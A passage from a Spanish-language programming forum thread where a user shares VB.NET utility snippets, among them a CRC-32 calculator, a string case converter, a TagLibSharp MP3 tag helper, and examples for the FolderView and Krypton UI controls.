  13.    Private Sub RefreshWindowsExplorer()
  14.  
  15.        ' Indicates the Windows Explorer localized names.
  16.        Dim allowedWindowNames As String() =
  17.            {
  18.                "Windows Explorer",
  19.                "Explorador de archivos"
  20.            }
  21.  
  22.        ' Shell interface instance.
  23.        Dim shell As New Shell32.Shell
  24.  
  25.        ' Refresh the Windows Explorer instances asynchronouslly.
  26.        Threading.Tasks.Task.Factory.StartNew(Sub()
  27.  
  28.                                                  For i As Integer = 0I To (shell.Windows.Count() - 1I)
  29.  
  30.                                                      Dim window As Object = shell.Windows(i)
  31.  
  32.                                                      If allowedWindowNames.Contains(window.Name()) Then
  33.                                                          window.Refresh()
  34.                                                      End If
  35.  
  36.                                                  Next i
  37.  
  38.                                              End Sub)
  39.    End Sub


Ejemplo de uso:

Código
  1.    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
  2.  
  3.        ' Show checkboxes
  4.        My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced",
  5.                                      "AutoCheckSelect", 1, Microsoft.Win32.RegistryValueKind.DWord)
  6.  
  7.        RefreshWindowsExplorer()
  8.  
  9.    End Sub


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 2 Noviembre 2014, 09:29 am
Un ayudante para el manejo del CRC-32

Lo he cosmetizado un poco, el código original lo pueden encontrar en http://nmdt.codeplex.com/

Código
  1. #Region " Usage Examples "
  2.  
  3. ' Usage Examples:
  4. ' MsgBox(Crc32.Calculate("C:\File"))
  5. ' MsgBox(Convert.ToString(Crc32.Calculate("C:\File"), 16).ToUpper)
  6.  
  7. #End Region
  8.  
  9. #Region " Imports "
  10.  
  11. Imports System.IO
  12.  
  13. #End Region
  14.  
  15. #Region "CRC-32"
  16.  
  17. ''' <summary>
  18. ''' ISO 3309 CRC-32 Calculator.
  19. ''' </summary>
  20. Public NotInheritable Class Crc32
  21.  
  22. #Region " Variables "
  23.  
  24.    ''' <summary>
  25.    ''' The CRC-32 polynomial.
  26.    ''' </summary>
  27.    Private Shared ReadOnly CRC32Poly As UInteger = &HEDB88320UI
  28.  
  29.    ''' <summary>
  30.    ''' The CRC32 table.
  31.    ''' </summary>
  32.    Private Shared Crc32Table(0UI To 255UI) As UInteger
  33.  
  34. #End Region
  35.  
  36. #Region " Constructors "
  37.  
  38.    ''' <summary>
  39.    ''' Prevents a default instance of the <see cref="Crc32"/> class from being created.
  40.    ''' </summary>
  41.    Private Sub New()
  42.    End Sub
  43.  
  44.    ''' <summary>
  45.    ''' Initialize the CRC table from the polynomial.
  46.    ''' </summary>
  47.    Shared Sub New()
  48.  
  49.        Dim i As UInteger
  50.        Dim j As UInteger
  51.        Dim l As UInteger
  52.  
  53.        For i = 0 To 255
  54.  
  55.            j = i
  56.  
  57.            For l = 0 To 7
  58.  
  59.                If (j And 1) Then
  60.                    j = ((j >> 1) Xor CRC32Poly)
  61.                Else
  62.                    j >>= 1
  63.                End If
  64.  
  65.            Next l
  66.  
  67.            Crc32Table(i) = j
  68.  
  69.        Next i
  70.  
  71.    End Sub
  72.  
  73. #End Region
  74.  
  75. #Region " Public Methods "
  76.  
  77.    ''' <summary>
  78.    ''' Validates a file against an input CRC.
  79.    ''' </summary>
  80.    ''' <param name="fileName">Filename of the file to validate.</param>
  81.    ''' <param name="inputCrc">The CRC value against which the validation should occur.</param>
  82.    ''' <returns>True if the input CRC matches the calculated CRC of the data.</returns>
  83.    Public Shared Function Validate(ByVal fileName As String,
  84.                                    ByVal inputCrc As UInteger) As Boolean
  85.  
  86.        Return Calculate(fileName) = inputCrc
  87.  
  88.    End Function
  89.  
  90.    ''' <summary>
  91.    ''' Validates a byte array against an input CRC.
  92.    ''' </summary>
  93.    ''' <param name="data">The byte array to validate.</param>
  94.    ''' <param name="inputCrc">The CRC value against which the validation should occur.</param>
  95.    ''' <returns>True if the input CRC matches the calculated CRC of the data.</returns>
  96.    Public Shared Function Validate(ByVal data() As Byte,
  97.                                    ByVal inputCrc As UInteger) As Boolean
  98.  
  99.        Return Calculate(data) = inputCrc
  100.  
  101.    End Function
  102.  
  103.    ''' <summary>
  104.    ''' Calculate the CRC-32 of a file.
  105.    ''' </summary>
  106.    ''' <param name="fileName">Filename of the file to calculate.</param>
  107.    ''' <param name="bufflen">Specify the size, in bytes, of the read buffer to be used (default is 1k).</param>
  108.    ''' <returns>A 32-bit unsigned integer representing the calculated CRC.</returns>
  109.    ''' <exception cref="System.IO.FileNotFoundException">fileName could not be found.</exception>
  110.    Public Shared Function Calculate(ByVal fileName As String,
  111.                                     Optional ByVal bufflen As Integer = 1024) As UInteger
  112.  
  113.        If (Not File.Exists(fileName)) Then
  114.            Throw New FileNotFoundException(fileName & " could not be found.")
  115.            Return 0
  116.        End If
  117.  
  118.        Return Calculate(New FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read), bufflen)
  119.  
  120.    End Function
  121.  
  122.    ''' <summary>
  123.    ''' Calculate the CRC-32 of an array of bytes.
  124.    ''' </summary>
  125.    ''' <param name="data">Byte array containing the bytes to calculate.</param>
  126.    ''' <param name="startIndex">Specifies the starting index to begin the calculation (default is 0).</param>
  127.    ''' <param name="length">Specify the length of the byte array to check (default is -1, or all bytes).</param>
  128.    ''' <param name="crc">Input CRC value for ongoing calculations (default is FFFFFFFFh).</param>
  129.    ''' <returns>A 32-bit unsigned integer representing the calculated CRC.</returns>
  130.    ''' <exception cref="System.ArgumentNullException">data;data cannot be equal to null.</exception>
  131.    ''' <exception cref="System.ArgumentOutOfRangeException">length;length must be -1 or a positive number.</exception>
  132.    Public Shared Function Calculate(ByVal data() As Byte,
  133.                                     Optional ByVal startIndex As Integer = 0I,
  134.                                     Optional ByVal length As Integer = -1I,
  135.                                     Optional ByVal crc As UInteger = &HFFFFFFFFUI) As UInteger
  136.  
  137.        If data Is Nothing Then
  138.            Throw New ArgumentNullException("data", "data cannot be equal to null.")
  139.        End If
  140.  
  141.        If length = -1 Then
  142.            length = data.Length - startIndex
  143.        End If
  144.  
  145.        If length <= 0 Then
  146.            Throw New ArgumentOutOfRangeException("length", "length must be -1 or a positive number.")
  147.        End If
  148.  
  149.        Dim j As Integer
  150.        Dim c As Integer = length - 1
  151.  
  152.        For j = startIndex To c
  153.            crc = Crc32Table((crc Xor data(j)) And &HFF) Xor (crc >> 8)
  154.        Next j
  155.  
  156.        Calculate = crc Xor &HFFFFFFFFUI
  157.  
  158.    End Function
  159.  
  160.    ''' <summary>
  161.    ''' Calculate the CRC-32 of a Stream.
  162.    ''' </summary>
  163.    ''' <param name="stream">The Stream to calculate.</param>
  164.    ''' <param name="bufflen">Specify the size, in bytes, of the read buffer to be used (default is 1k).</param>
  165.    ''' <param name="closeStream">if set to <c>true</c> the stream gets closed after CRC-32 is calculated.</param>
  166.    ''' <returns>A 32-bit unsigned integer representing the calculated CRC.</returns>
  167.    Public Shared Function Calculate(ByVal stream As Stream,
  168.                                     Optional ByVal bufflen As Integer = 1024I,
  169.                                     Optional ByVal closeStream As Boolean = True) As UInteger
  170.  
  171.        '' our working marshal buffer will be 1k, this is a good compromise between eating up memory and efficiency.
  172.        Dim blen As Integer = bufflen
  173.        Dim crc As UInteger = &HFFFFFFFFUI
  174.  
  175.        Dim b() As Byte
  176.  
  177.        Dim i As Long
  178.        Dim l As Long = stream.Length
  179.        Dim c As Long = l - 1
  180.  
  181.        Dim e As Integer
  182.        Dim j As Integer
  183.  
  184.        ReDim b(blen - 1)
  185.  
  186.        For i = 0 To c Step blen
  187.  
  188.            e = CInt(l - i)
  189.  
  190.            If e > blen Then
  191.                e = blen
  192.            End If
  193.  
  194.            If (stream.Position <> i) Then
  195.                stream.Seek(i, SeekOrigin.Begin)
  196.            End If
  197.  
  198.            stream.Read(b, 0, e)
  199.  
  200.            e -= 1
  201.  
  202.            For j = 0 To e
  203.                crc = Crc32Table((crc Xor b(j)) And &HFF) Xor (crc >> 8)
  204.            Next j
  205.  
  206.        Next i
  207.  
  208.        If (closeStream) Then
  209.            stream.Close()
  210.        End If
  211.  
  212.        Calculate = crc Xor &HFFFFFFFFUI
  213.  
  214.    End Function
  215.  
  216. #End Region
  217.  
  218. End Class
  219.  
  220. #End Region


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 30 Noviembre 2014, 01:42 am
Una actualización de este ayudante para "renombrar" o capitalizar un String, dándole el formato deseado.

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 29-November-2014
  4. ' ***********************************************************************
  5. ' <copyright file="StringRenamer.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Option Statements "
  11.  
  12. Option Explicit On
  13. Option Strict On
  14. Option Infer Off
  15.  
  16. #End Region
  17.  
  18. #Region " Usage Examples "
  19.  
  20. ' MsgBox(StringRenamer.Rename("Hello World!", StringRenamer.FormatCase.Upper))
  21. ' MsgBox(StringRenamer.Rename("Hello World!", StringRenamer.FormatCase.Upper, "\s+", "-", System.Text.RegularExpressions.RegexOptions.None))
  22.  
  23. #End Region
  24.  
  25. #Region " Imports "
  26.  
  27. Imports System.Text
  28. Imports System.Text.RegularExpressions
  29. Imports System.Globalization
  30.  
  31. #End Region
  32.  
  33. #Region " String Renamer "
  34.  
  35. ''' <summary>
  36. ''' Renames a string.
  37. ''' </summary>
  38. Public NotInheritable Class StringRenamer
  39.  
  40. #Region " Enumerations "
  41.  
  42.    ''' <summary>
  43.    ''' Specifies a string format case.
  44.    ''' </summary>
  45.    Public Enum FormatCase As Integer
  46.  
  47.        ''' <summary>
  48.        ''' LowerCase
  49.        '''
  50.        ''' [Example]
  51.        ''' Input : ABCDEF
  52.        ''' Output: abcdef
  53.        ''' </summary>
  54.        Lower = &H0
  55.  
  56.        ''' <summary>
  57.        ''' UpperCase.
  58.        '''
  59.        ''' [Example]
  60.        ''' Input : abcdef
  61.        ''' Output: ABCDEF
  62.        ''' </summary>
  63.        Upper = &H1
  64.  
  65.        ''' <summary>
  66.        ''' TitleCase.
  67.        '''
  68.        ''' [Example]
  69.        ''' Input : abcdef
  70.        ''' Output: Abcdef
  71.        ''' </summary>
  72.        Title = &H2
  73.  
  74.        ''' <summary>
  75.        ''' WordCase.
  76.        '''
  77.        ''' [Example]
  78.        ''' Input : abc def
  79.        ''' Output: Abc Def
  80.        ''' </summary>
  81.        Word = &H3
  82.  
  83.        ''' <summary>
  84.        ''' CamelCase (With first letter to LowerCase).
  85.        '''
  86.        ''' [Example]
  87.        ''' Input : ABC DEF
  88.        ''' Output: abcDef
  89.        ''' </summary>
  90.        CamelLower = &H4
  91.  
  92.        ''' <summary>
  93.        ''' CamelCase (With first letter to UpperCase).
  94.        '''
  95.        ''' [Example]
  96.        ''' Input : ABC DEF
  97.        ''' Output: AbcDef
  98.        ''' </summary>
  99.        CamelUpper = &H5
  100.  
  101.        ''' <summary>
  102.        ''' MixedCase (With first letter to LowerCase).
  103.        '''
  104.        ''' [Example]
  105.        ''' Input : ab cd ef
  106.        ''' Output: aB Cd eF
  107.        ''' </summary>
  108.        MixedTitleLower = &H6
  109.  
  110.        ''' <summary>
  111.        ''' MixedCase (With first letter to UpperCase).
  112.        '''
  113.        ''' [Example]
  114.        ''' Input : ab cd ef
  115.        ''' Output: Ab cD Ef
  116.        ''' </summary>
  117.        MixedTitleUpper = &H7
  118.  
  119.        ''' <summary>
  120.        ''' MixedCase (With first letter of each word to LowerCase).
  121.        '''
  122.        ''' [Example]
  123.        ''' Input : ab cd ef
  124.        ''' Output: aB cD eF
  125.        ''' </summary>
  126.        MixedWordLower = &H8
  127.  
  128.        ''' <summary>
  129.        ''' MixedCase (With first letter of each word to UpperCase).
  130.        '''
  131.        ''' [Example]
  132.        ''' Input : ab cd ef
  133.        ''' Output: Ab Cd Ef
  134.        ''' </summary>
  135.        MixedWordUpper = &H9
  136.  
  137.        ''' <summary>
  138.        ''' ToggleCase.
  139.        '''
  140.        ''' [Example]
  141.        ''' Input : abc def ghi
  142.        ''' Output: aBC dEF gHI
  143.        ''' </summary>
  144.        Toggle = &H10
  145.  
  146.        ''' <summary>
  147.        ''' Duplicates the characters.
  148.        '''
  149.        ''' [Example]
  150.        ''' Input : Hello World!
  151.        ''' Output: HHeelllloo  WWoorrlldd!!
  152.        ''' </summary>
  153.        Duplicated = &H11
  154.  
  155.        ''' <summary>
  156.        ''' Inverts the characters.
  157.        '''
  158.        ''' [Example]
  159.        ''' Input : Hello World!
  160.        ''' Output: hELLO wORLD!
  161.        ''' </summary>
  162.        Inverted = &H12
  163.  
  164.    End Enum
  165.  
  166. #End Region
  167.  
  168. #Region " Publix Methods "
  169.  
  170. #End Region
  171.  
  172.    ''' <summary>
  173.    ''' Renames a string to the specified StringCase.
  174.    ''' </summary>
  175.    ''' <param name="str">The string to rename.</param>
  176.    ''' <param name="fCase">The format case.</param>
  177.    ''' <returns>The renamed string.</returns>
  178.    Public Shared Function Rename(ByVal str As String,
  179.                                  ByVal fCase As FormatCase) As String
  180.  
  181.        Select Case fCase
  182.  
  183.            Case FormatCase.Lower
  184.                Return str.ToLower
  185.  
  186.            Case FormatCase.Upper
  187.                Return str.ToUpper
  188.  
  189.            Case FormatCase.Title
  190.                Return Char.ToUpper(str.First) & str.Substring(1).ToLower
  191.  
  192.            Case FormatCase.Word
  193.                Return CultureInfo.InvariantCulture.TextInfo.ToTitleCase(str.ToLower)
  194.  
  195.            Case FormatCase.CamelLower
  196.                Return Char.ToLower(str.First) &
  197.                       CultureInfo.InvariantCulture.TextInfo.ToTitleCase(str.ToLower).
  198.                       Replace(" "c, String.Empty).
  199.                       Substring(1)
  200.  
  201.            Case FormatCase.CamelUpper
  202.                Return Char.ToUpper(str.First) &
  203.                       CultureInfo.InvariantCulture.TextInfo.ToTitleCase(str.ToLower).
  204.                       Replace(" "c, String.Empty).
  205.                       Substring(1)
  206.  
  207.            Case FormatCase.MixedTitleLower
  208.                Dim sb As New StringBuilder
  209.                For i As Integer = 0 To (str.Length - 1) Step 2
  210.                    If Not (i + 1) >= str.Length Then
  211.                        sb.Append(Char.ToLower(str(i)) & Char.ToUpper(str(i + 1)))
  212.                    Else
  213.                        sb.Append(Char.ToLower(str(i)))
  214.                    End If
  215.                Next i
  216.                Return sb.ToString
  217.  
  218.            Case FormatCase.MixedTitleUpper
  219.                Dim sb As New StringBuilder
  220.                For i As Integer = 0 To (str.Length - 1) Step 2
  221.                    If Not (i + 1) >= str.Length Then
  222.                        sb.Append(Char.ToUpper(str(i)) & Char.ToLower(str(i + 1)))
  223.                    Else
  224.                        sb.Append(Char.ToUpper(str(i)))
  225.                    End If
  226.                Next i
  227.                Return sb.ToString
  228.  
  229.            Case FormatCase.MixedWordLower
  230.                Dim sb As New StringBuilder
  231.                For Each token As String In str.Split
  232.                    sb.Append(StringRenamer.Rename(token, FormatCase.MixedTitleLower) & " ")
  233.                Next token
  234.                Return sb.ToString
  235.  
  236.            Case FormatCase.MixedWordUpper
  237.                Dim sb As New StringBuilder
  238.                For Each token As String In str.Split
  239.                    sb.Append(StringRenamer.Rename(token, FormatCase.MixedTitleUpper) & " ")
  240.                Next token
  241.                Return sb.ToString
  242.  
  243.            Case FormatCase.Toggle
  244.                Dim sb As New StringBuilder
  245.                For Each token As String In str.Split
  246.                    sb.Append(Char.ToLower(token.First) & token.Substring(1).ToUpper & " ")
  247.                Next token
  248.                Return sb.ToString
  249.  
  250.            Case FormatCase.Duplicated
  251.                Dim sb As New StringBuilder
  252.                For Each c As Char In str
  253.                    sb.Append(New String(c, 2))
  254.                Next c
  255.                Return sb.ToString
  256.  
  257.            Case FormatCase.Inverted
  258.                Dim sb As New StringBuilder
  259.                For Each c As Char In str
  260.                    sb.Append(If(Char.IsLower(c),
  261.                                 Char.ToUpper(c),
  262.                                 Char.ToLower(c)))
  263.                Next c
  264.                Return sb.ToString
  265.  
  266.            Case Else
  267.                Return str
  268.  
  269.        End Select
  270.  
  271.    End Function
  272.  
  273.    ''' <summary>
  274.    ''' Rename a string to the specified StringCase,
  275.    ''' Also finds and replaces text after the string is renamed.
  276.    ''' </summary>
  277.    ''' <param name="str">The string to rename.</param>
  278.    ''' <param name="fCase">The format case.</param>
  279.    ''' <param name="FindWhat">The RegEx pattern to match.</param>
  280.    ''' <param name="ReplaceWith">The replacement string.</param>
  281.    ''' <param name="regexOptions">The RegEx options.</param>
  282.    ''' <returns>The renamed string.</returns>
  283.    Public Shared Function Rename(ByVal str As String,
  284.                                  ByVal fCase As FormatCase,
  285.                                  ByVal findWhat As String,
  286.                                  ByVal replaceWith As String,
  287.                                  ByVal regexOptions As RegexOptions) As String
  288.  
  289.        Return Regex.Replace(StringRenamer.Rename(str, fCase),
  290.                             findWhat,
  291.                             replaceWith,
  292.                             regexOptions)
  293.  
  294.    End Function
  295.  
  296. End Class
  297.  
  298. #End Region



Ejemplo de como filtrar las extensiones mostradas en un FolderView control, de la librería shell mega pack: http://www.ssware.com/fldrview.htm

(http://softwarewagon.com/application_images/screenshots/normal/main_35.jpg)

Código
  1.        ''' <summary>
  2.        ''' Handles the AfterExpand event of the FolderView1 control.
  3.        ''' </summary>
  4.        ''' <param name="sender">The source of the event.</param>
  5.        ''' <param name="e">The <see cref="FolderViewEventArgs"/> instance containing the event data.</param>
  6.        Private Sub FolderView1_AfterExpand(ByVal sender As Object, ByVal e As FolderViewEventArgs) _
  7.        Handles FolderView1.AfterExpand
  8.  
  9.            ' This event occurs when node is expanded.
  10.  
  11.            If e.Node.HasExpandedOnce Then
  12.                Exit Sub
  13.            End If
  14.  
  15.            Me.FilterNodeFiles(folderView:=DirectCast(sender, FolderView),
  16.                               allowedExtensions:=".mp3".ToLower.Split)
  17.  
  18.        End Sub
  19.  
  20.        ''' <summary>
  21.        ''' Handles the BeforeNodeSort event of the FolderView1 control.
  22.        ''' </summary>
  23.        ''' <param name="sender">The source of the event.</param>
  24.        ''' <param name="e">The <see cref="BeforeNodeSortEventArgs"/> instance containing the event data.</param>
  25.        Private Sub FolderView1_BeforeNodeSort(sender As Object, e As BeforeNodeSortEventArgs) _
  26.        Handles FolderView1.BeforeNodeSort
  27.  
  28.            ' This event occurs when a file is created/moved/pasted inside a node.
  29.  
  30.            Me.FilterNodeFiles(folderView:=DirectCast(sender, FolderView),
  31.                               allowedExtensions:=".mp3".ToLower.Split)
  32.  
  33.        End Sub
  34.  
  35.        ''' <summary>
  36.        ''' Filters the files that can be shown in the TreeNodes of a <see cref="FolderView"/>.
  37.        ''' </summary>
  38.        ''' <param name="folderView">The <see cref="FolderView"/>.</param>
  39.        ''' <param name="allowedExtensions">The allowed file extensions.</param>
  40.        Private Sub FilterNodeFiles(ByVal folderView As FolderView, ByVal allowedExtensions() As String)
  41.  
  42.            For Each node As FOVTreeNode In folderView.Nodes.Cast(Of FOVTreeNode).Reverse
  43.  
  44.                If Not (node.IsFolder) _
  45.                AndAlso Not (allowedExtensions.Contains(IO.Path.GetExtension(node.Text).ToLower)) Then
  46.  
  47.                    node.Delete()
  48.  
  49.                End If
  50.  
  51.            Next node
  52.  
  53.        End Sub
  54.  



Una actualización de este ayudante de la librería TagLibSharp, para la edición de metadats de archivos de audio, ese wrapper está orientado al manejo de archivos MP3 solamente.

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 29-Novembder-2014
  4. ' ***********************************************************************
  5. ' <copyright file="TagLibSharp Helper.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. 'Dim tagger As New TagLibSharpHelper
  13. 'tagger.LoadFile("C:\Users\Administrador\Desktop\1.mp3")
  14.  
  15. 'Dim sb As New System.Text.StringBuilder
  16. 'With sb
  17. '    .AppendLine(String.Format("Is Corrupt?: {0}", tagger.IsCorrupt))
  18. '    .AppendLine(String.Format("Is Writeable?: {0}", tagger.IsWriteable))
  19. '    .AppendLine()
  20. '    .AppendLine(String.Format("Tags: {0}", tagger.GetTags))
  21. '    .AppendLine()
  22. '    .AppendLine(String.Format("Title: {0}", tagger.GetTitle))
  23. '    .AppendLine(String.Format("Artist: {0}", tagger.GetArtist))
  24. '    .AppendLine(String.Format("Album: {0}", tagger.GetAlbum))
  25. '    .AppendLine(String.Format("Genre: {0}", tagger.GetGenre))
  26. '    .AppendLine(String.Format("Year: {0}", tagger.GetYear))
  27. 'End With
  28. 'MessageBox.Show(sb.ToString)
  29.  
  30. 'tagger.RemoveTag(TagLib.TagTypes.Id3v1 Or TagLib.TagTypes.Id3v2) ' Removes ID3v1 + ID3v2 Tags
  31.  
  32. 'tagger.SetTag(Sub(x As TagLib.File) x.Tag.Title = "Title Test")
  33.  
  34. 'tagger.SetTags({Sub(x As TagLib.File) x.Tag.Title = "Title Test",
  35. '                Sub(x As TagLib.File) x.Tag.Performers = {"My Artist"}})
  36.  
  37. #End Region
  38.  
  39. #Region " Option Statements "
  40.  
  41. Option Strict On
  42. Option Explicit On
  43. Option Infer Off
  44.  
  45. #End Region
  46.  
  47. #Region " Imports "
  48.  
  49. Imports TagLib
  50.  
  51. #End Region
  52.  
  53. #Region " TagLibSharp Helper "
  54.  
  55. Public NotInheritable Class TagLibSharpHelper
  56.  
  57. #Region " Properties "
  58.  
  59.    ''' <summary>
  60.    ''' Gets or sets the <see cref="TagLib.File"/> object.
  61.    ''' </summary>
  62.    ''' <value>The <see cref="TagLib.File"/> object.</value>
  63.    Private Property TagFile As TagLib.File
  64.  
  65.    Public ReadOnly Property CurrentFile As String
  66.        Get
  67.            Return Me.TagFile.Name
  68.        End Get
  69.    End Property
  70.  
  71. #End Region
  72.  
  73. #Region " Constructors "
  74.  
  75.    ''' <summary>
  76.    ''' Initializes a new instance of the <see cref="TagLibSharpHelper"/> class.
  77.    ''' </summary>
  78.    Public Sub New()
  79.    End Sub
  80.  
  81.    ''' <summary>
  82.    ''' Initializes a new instance of the <see cref="TagLibSharpHelper" /> class.
  83.    ''' </summary>
  84.    ''' <param name="file">The file to load.</param>
  85.    Public Sub New(ByVal file As String)
  86.        Me.LoadFile(file)
  87.    End Sub
  88.  
  89. #End Region
  90.  
  91. #Region " Public Methods "
  92.  
  93.    ''' <summary>
  94.    ''' Instances a file.
  95.    ''' </summary>
  96.    ''' <param name="file">The file to load.</param>
  97.    Public Sub LoadFile(ByVal file As String)
  98.  
  99.        Try
  100.            Me.TagFile = TagLib.File.Create(file)
  101.  
  102.        Catch ex As CorruptFileException
  103.            Throw
  104.  
  105.        Catch ex As UnsupportedFormatException
  106.            Throw
  107.  
  108.        Catch ex As Exception
  109.            Throw
  110.  
  111.        End Try
  112.  
  113.    End Sub
  114.  
  115.    ''' <summary>
  116.    ''' Determines whether the current file is possibly corrupted.
  117.    ''' </summary>
  118.    Public Function IsCorrupt() As Boolean
  119.  
  120.        Me.CheckTagFile()
  121.        Return Me.TagFile.PossiblyCorrupt
  122.  
  123.    End Function
  124.  
  125.    ''' <summary>
  126.    ''' Determines whether the current file can be written.
  127.    ''' </summary>
  128.    Public Function IsWriteable() As Boolean
  129.  
  130.        Me.CheckTagFile()
  131.        Return Me.TagFile.Writeable
  132.  
  133.    End Function
  134.  
  135.    ''' <summary>
  136.    ''' Get TagTypes of file.
  137.    ''' </summary>
  138.    Public Function GetTags() As String
  139.  
  140.        Me.CheckTagFile()
  141.        Return Me.TagFile.TagTypesOnDisk.ToString
  142.  
  143.    End Function
  144.  
  145.    ''' <summary>
  146.    ''' Gets the Title tag of the current file.
  147.    ''' </summary>
  148.    Public Function GetTitle() As String
  149.  
  150.        Me.CheckTagFile()
  151.        Return Me.TagFile.Tag.Title
  152.  
  153.    End Function
  154.  
  155.    ''' <summary>
  156.    ''' Gets the Artist tag of the current file.
  157.    ''' </summary>
  158.    Public Function GetArtist() As String
  159.  
  160.        Me.CheckTagFile()
  161.  
  162.        If Me.TagFile.Tag.Performers.Count <> 0 Then
  163.            Return Me.TagFile.Tag.Performers(0)
  164.  
  165.        Else
  166.            Return String.Empty
  167.  
  168.        End If
  169.  
  170.    End Function
  171.  
  172.    ''' <summary>
  173.    ''' Gets the Album tag of the current file.
  174.    ''' </summary>
  175.    Public Function GetAlbum() As String
  176.  
  177.        Me.CheckTagFile()
  178.        Return Me.TagFile.Tag.Album
  179.  
  180.    End Function
  181.  
  182.    ''' <summary>
  183.    ''' Gets the Genre tag of the current file.
  184.    ''' </summary>
  185.    Public Function GetGenre() As String
  186.  
  187.        Me.CheckTagFile()
  188.        If Me.TagFile.Tag.Genres.Count <> 0 Then
  189.            Return Me.TagFile.Tag.Genres(0)
  190.  
  191.        Else
  192.            Return String.Empty
  193.  
  194.        End If
  195.  
  196.    End Function
  197.  
  198.    ''' <summary>
  199.    ''' Gets the Year tag of the current file.
  200.    ''' </summary>
  201.    Public Function GetYear() As String
  202.  
  203.        Me.CheckTagFile()
  204.        Return Me.TagFile.Tag.Year.ToString
  205.  
  206.    End Function
  207.  
  208.    ''' <summary>
  209.    ''' Sets a Tag field.
  210.    ''' </summary>
  211.    Public Sub SetTag(ByVal fieldSetter As Action(Of TagLib.File))
  212.  
  213.        Me.CheckTagFile()
  214.        If Not Me.IsCorrupt AndAlso Me.IsWriteable Then
  215.  
  216.            Try
  217.                fieldSetter(TagFile)
  218.  
  219.            Catch ex As Exception
  220.                Throw
  221.  
  222.            End Try
  223.  
  224.            Me.SaveFile()
  225.  
  226.        End If
  227.  
  228.    End Sub
  229.  
  230.    ''' <summary>
  231.    ''' Sets multiple Tag fields.
  232.    ''' </summary>
  233.    Public Sub SetTags(ByVal fieldSetter() As Action(Of TagLib.File))
  234.  
  235.        Me.CheckTagFile()
  236.        If Not Me.IsCorrupt AndAlso Me.IsWriteable Then
  237.  
  238.            For Each field As Action(Of TagLib.File) In fieldSetter
  239.  
  240.                Try
  241.                    field(TagFile)
  242.  
  243.                Catch ex As Exception
  244.                    Throw
  245.  
  246.                End Try
  247.  
  248.            Next field
  249.  
  250.            Me.SaveFile()
  251.  
  252.        End If
  253.  
  254.    End Sub
  255.  
  256.    ''' <summary>
  257.    ''' Remove a Tag from the current file.
  258.    ''' </summary>
  259.    ''' <param name="tagTypes">The tag types to remove from file.</param>
  260.    Public Sub RemoveTag(ByVal tagTypes As TagTypes)
  261.  
  262.        Me.CheckTagFile()
  263.        If Not Me.IsCorrupt AndAlso Me.IsWriteable Then
  264.  
  265.            Try
  266.                Me.TagFile.RemoveTags(tagTypes)
  267.  
  268.            Catch ex As Exception
  269.                Throw
  270.  
  271.            End Try
  272.  
  273.            Me.SaveFile()
  274.  
  275.        End If
  276.  
  277.    End Sub
  278.  
  279. #End Region
  280.  
  281. #Region " Private Methods "
  282.  
  283.    ''' <summary>
  284.    ''' Saves the current file.
  285.    ''' </summary>
  286.    Private Sub SaveFile()
  287.  
  288.        Me.CheckTagFile()
  289.  
  290.        Try
  291.            Me.TagFile.Save()
  292.  
  293.        Catch ex As Exception
  294.            Throw
  295.  
  296.        End Try
  297.  
  298.    End Sub
  299.  
  300.    ''' <summary>
  301.    ''' Checks whether a <see cref="TagLib.File"/> object is loaded.
  302.    ''' </summary>
  303.    Private Sub CheckTagFile()
  304.  
  305.        If Me.TagFile Is Nothing Then
  306.  
  307.            Throw New Exception("Any file is loaded.")
  308.  
  309.        End If
  310.  
  311.    End Sub
  312.  
  313. #End Region
  314.  
  315. End Class
  316.  
  317. #End Region
  318.  



Ejemplo (...un poco cutre por el momento) de cmo utilizar un KryptonSeparator, del set de controles Krypton: http://www.componentfactory.com/toolkit_utilitycontrols.php

(http://www.componentfactory.com/public/editor_images/KSeparatorSample.gif)

Código
  1.        ''' <summary>
  2.        ''' Handles the SplitterMoving event of the KryptonSeparator1 control.
  3.        ''' </summary>
  4.        ''' <param name="sender">The source of the event.</param>
  5.        ''' <param name="e">The <see cref="SplitterCancelEventArgs"/> instance containing the event data.</param>
  6.        Private Sub KryptonSeparator1_SplitterMoving(ByVal sender As Object, ByVal e As SplitterCancelEventArgs) _
  7.        Handles KryptonSeparator1.SplitterMoving
  8.  
  9.            Dim separator As KryptonSeparator = DirectCast(sender, KryptonSeparator)
  10.            Dim leftCtrl As Control = Me.ListBox1
  11.            Dim rightCtrl As Control = Me.ListBox2
  12.  
  13.            If (e.MouseCursorX > 0) _
  14.            AndAlso Not ((rightCtrl.Size.Width - e.MouseCursorX) < rightCtrl.MinimumSize.Width) Then
  15.  
  16.                separator.Location = New Point(separator.Location.X + e.MouseCursorX, separator.Location.Y)
  17.                leftCtrl.Width += e.MouseCursorX
  18.                rightCtrl.Width -= e.MouseCursorX
  19.                rightCtrl.Left = separator.Right
  20.  
  21.            ElseIf (e.MouseCursorX < 0) _
  22.            AndAlso Not ((leftCtrl.Size.Width + e.MouseCursorX - separator.Width) < leftCtrl.MinimumSize.Width) Then
  23.  
  24.                separator.Location = New Point(separator.Location.X - separator.Width, separator.Location.Y)
  25.                leftCtrl.Width -= separator.Width
  26.                rightCtrl.Width += separator.Width
  27.                rightCtrl.Left = separator.Right
  28.  
  29.            End If
  30.  
  31.        End Sub
  32.  


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 30 Noviembre 2014, 01:44 am
Ejemplo de cómo utilizar la librería SharpShell para crear una shell-extensión, un menú contextual para nuestra aplicación: https://sharpshell.codeplex.com

(https://raw.github.com/dwmkerr/sharpshell/master/Assets/Screenshots/contextmenu.png)

La imagen de arriba no hace referencia al siguiente ejemplo, mi menú tiene la siguiente estructura:

Código:
· Título
         (Sub-menu)
         · Run
         · Open Files...

Código
